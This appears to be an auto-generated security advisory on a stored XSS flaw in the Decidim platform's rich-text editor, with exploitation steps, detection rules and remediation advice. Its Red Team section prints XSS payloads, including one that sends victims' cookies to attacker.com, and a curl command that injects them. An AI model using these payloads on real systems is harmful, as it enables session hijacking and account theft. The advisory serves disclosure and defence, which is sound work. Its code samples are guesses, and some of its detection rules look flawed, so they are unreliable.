CVE-2024-39910
Executive Summary
CVE-2024-39910 is a stored Cross-Site Scripting (XSS) vulnerability in Decidim, a free, open-source participatory democracy platform. The flaw resides in the WYSIWYG editor QuillJS, where an attacker with administrative access to the admin panel can inject malicious HTML/JavaScript. By crafting a request that bypasses client-side sanitization, an attacker can upload content containing an XSS payload (e.g., <svg onload=alert('XSS')>). This vulnerability is rated with a CVSS score of 5.4 (Medium) and affects all versions prior to 0.27.7. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk is elevated due to the public availability of the attack vector.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Decidim is a Ruby on Rails application distributed as a Ruby gem. The vulnerable component is the QuillJS rich text editor, which is included as a JavaScript dependency. The supply chain risk is moderate; while the vulnerability is in a client-side library, the exploitation requires an attacker to have administrative access to the Decidim admin panel. The patch is available in version 0.27.7, which updates the QuillJS integration to properly sanitize HTML input server-side.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – The attacker needs admin panel access.
- User Interaction (UI): Required (R) – The victim must view the malicious content.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the potential for stored XSS in a public-facing platform (e.g., participatory budgets, proposals) could lead to session hijacking, defacement, or phishing attacks against regular users.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the QuillJS rich text editor. QuillJS is a client-side WYSIWYG editor that generates HTML from user input. In Decidim, this editor is used in the admin panel for creating and editing content such as proposals, pages, and meeting descriptions.
Root Cause: The server-side validation of HTML content submitted via the QuillJS editor is insufficient. While QuillJS itself sanitizes input on the client side, an attacker can craft a direct HTTP request to the server, bypassing the client-side sanitization. The server then stores the malicious HTML without proper sanitization.
Attack Flow:
- An attacker with admin panel access (e.g., a participatory space administrator) crafts a malicious payload, such as
<svg onload=alert('XSS')>. - The attacker sends a direct POST/PUT request to the Decidim API endpoint that handles content creation/editing, bypassing the QuillJS client-side sanitization.
- The server stores the malicious HTML in the database.
- When a victim (e.g., a regular user or another admin) views the affected content, the browser executes the malicious script.
Impact: The attacker can execute arbitrary JavaScript in the context of the victim's session. This can lead to:
- Session hijacking (stealing cookies/tokens).
- Defacement of the platform.
- Phishing attacks (e.g., displaying fake login forms).
- Redirection to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-0.27.7): The vulnerable code likely resides in the controller or model that handles content creation. The server does not sanitize the HTML input from the QuillJS editor.
# app/controllers/decidim/admin/proposals_controller.rb (example)
def create
@proposal = Proposal.new(proposal_params)
# No sanitization of the body parameter
@proposal.body = params[:proposal][:body]
@proposal.save
end
Patched Code (0.27.7):
The patched version introduces server-side HTML sanitization, likely using a library like sanitize or rails-html-sanitizer.
# app/controllers/decidim/admin/proposals_controller.rb (example)
def create
@proposal = Proposal.new(proposal_params)
# Sanitize the body parameter to remove malicious HTML
@proposal.body = Sanitize.fragment(params[:proposal][:body], Sanitize::Config::RELAXED)
@proposal.save
end
Key Difference: The patched version sanitizes the HTML input on the server side, stripping out dangerous elements like <script>, <svg onload>, and event handlers.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Decidim admin panel (e.g., as a participatory space administrator).
- Knowledge of the API endpoint for creating/editing content.
Exploitation Steps:
- Identify the vulnerable endpoint: Use browser developer tools to capture the request when creating a proposal or page via the admin panel. Look for a POST request to
/admin/proposalsor similar. - Craft the payload: Create a malicious HTML payload. For example:
Or a more sophisticated payload to steal cookies:<svg onload=alert('XSS')><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Send the request: Use
curlor a tool like Burp Suite to send a direct request to the endpoint, bypassing the client-side sanitization.curl -X POST https://victim.com/admin/proposals \ -H "Cookie: session=..." \ -d "proposal[title]=Malicious Proposal&proposal[body]=<svg onload=alert('XSS')>" - Trigger the XSS: As an admin or regular user, navigate to the page containing the malicious content. The payload will execute.
Lab Setup:
- Install a vulnerable version of Decidim (e.g., 0.27.6) using Docker or a local Ruby environment.
- Create an admin user and log in.
- Use the above steps to test the exploit.
Blue Team
Detection:
- Monitor for unusual HTTP requests to admin endpoints that contain HTML tags in the body parameter.
- Look for requests with suspicious payloads like
<svg,<script>, or event handlers (onload,onerror). - Use web application firewalls (WAF) to block requests containing known XSS patterns.
Prevention:
- Apply the patch by upgrading to Decidim 0.27.7 or later.
- If upgrade is not possible, disable the "Enable rich text editor for participants" setting in the admin dashboard.
- Implement server-side input validation and sanitization for all user-supplied HTML.
- Use Content Security Policy (CSP) headers to mitigate the impact of XSS.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/admin/proposals,/admin/pages, or similar endpoints containing HTML tags in the body parameter. - Requests with payloads containing
<svg onload=,<script>, or other event handlers.
- HTTP requests to
- File IOCs:
- Log entries showing stored HTML content with malicious tags.
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser when viewing Decidim content.
- Unauthorized cookie theft or session hijacking.
Detection Engineering
YARA Rule
rule CVE_2024_39910_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2024-39910 in Decidim"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-39910"
strings:
$svg_onload = /<svg[^>]*onload\s*=/i
$script_tag = /<script[^>]*>/i
$event_handler = /\son\w+\s*=/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-39910 XSS Attempt in Decidim Admin Panel
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to Decidim admin endpoints containing XSS payloads
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/admin/proposals'
- '/admin/pages'
- '/admin/meetings'
cs-uri-query|contains:
- '<svg'
- '<script'
- 'onload='
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of HTML in content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-39910 XSS Attempt in Decidim Admin Panel";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin/"; http_uri;
pcre:"/<svg[^>]*onload\s*=/i";
pcre:"/<script[^>]*>/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to version 0.27.7 or later: This is the official patch that fixes the server-side sanitization.
- Disable rich text editor for participants: If upgrade is not possible, go to the admin dashboard and disable the "Enable rich text editor for participants" setting. This reduces the attack surface.
- Review admin accounts: Remove unnecessary admin privileges, especially for participatory space administrators.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Conduct regular security audits and penetration testing.
- Monitor logs for suspicious activity.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System.